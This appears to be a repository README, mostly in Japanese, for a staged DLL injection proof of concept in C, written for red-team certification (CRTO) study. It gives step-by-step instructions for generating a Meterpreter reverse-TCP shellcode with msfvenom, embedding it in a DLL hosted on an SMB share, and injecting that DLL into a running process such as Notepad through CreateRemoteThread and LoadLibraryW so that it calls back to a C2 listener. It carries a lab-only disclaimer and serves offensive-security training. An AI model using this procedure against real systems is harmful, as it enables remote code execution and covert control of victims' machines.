
Win32 APIを使用してCで構築されたステージ型DLLインジェクションの概念実証(PoC) — レッドチーム認定試験(CRTO)の学習用に隔離されたラボ環境で開発されました。
Win32 API を使用して C で構築されたステージ型 DLL インジェクションの概念実証 (PoC) — レッドチーム認定試験 (CRTO) の学習のために隔離されたラボ環境で開発されました。
⚠️ 免責事項: このプロジェクトは、攻撃的セキュリティ研究および認定試験 (CRTO) の一環として、教育目的で隔離されたラボ環境でのみ開発されました。明示的な書面による許可なしにいかなるシステムに対しても使用することを意図したものではありません。無断使用は違法かつ非倫理的です。
レッドチーム認定試験の学習の一環として構築された、Windows 上でのステージ型 DLL インジェクションの概念実証 (PoC) 実装です。このプロジェクトは、ステージャーがネイティブ Win32 API を使用してターゲットプロセスに悪意のある DLL をリモートで読み込む方法を示しています。 内部ネットワーク内で SMB トラフィックを許可する AD 環境で最も効果的に動作します。インターネット経由での使用は推奨されません。
1. Build a shellcode with msfvenom
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<IP> LPORT=<port> -f raw -o /directory/payload.bin
2. Obtain the raw shellcode and convert into a C array
xxd -i payload.bin > payload.h
3. Copy the shellcode, and paste it under unsigned char payload_bin[] {xxxxx} array in maindll.c
4. Modify the phc.c to point the address to your IP in dllPath[]
5. Compile phc.c into .exe, and compile maindll.c into .dll file
6. Host the smb server, and paste the maindll.dll
7. Set up Listener
8. Open Notepad.exe and find the PID
9. Run phc.exe <PID>
phc.c)OpenProcess を使用してターゲットプロセスのハンドルを開きますVirtualAlloc を使用してターゲットプロセス内にメモリを割り当てますKernel32 から LoadLibraryW のアドレスを取得しますCreateRemoteThread を使用して LoadLibraryW を呼び出すリモートスレッドを生成し、リモート SMB 共有から DLL を読み込みますmaindll.dll)DLL_PROCESS_ATTACH 時に DllMain が自動的に実行されますVirtualAlloc を使用して実行可能メモリを割り当てますCreateThread を使用して実行しますphc.exe → ターゲットプロセスを開く → ターゲットプロセス内にメモリを割り当てる → LoadLibraryW を介して SMB 共有から maindll.dll を読み込む → DllMain が実行される → ターゲットプロセス内でシェルコードが実行される
CreateRemoteThread + LoadLibraryW によるリモート DLL インジェクションDllMain による DLL エントリポイントの悪用隔離されたラボ環境の Windows 10 でテスト済みです。C2 リスナーは Kali Linux 上でホストされています。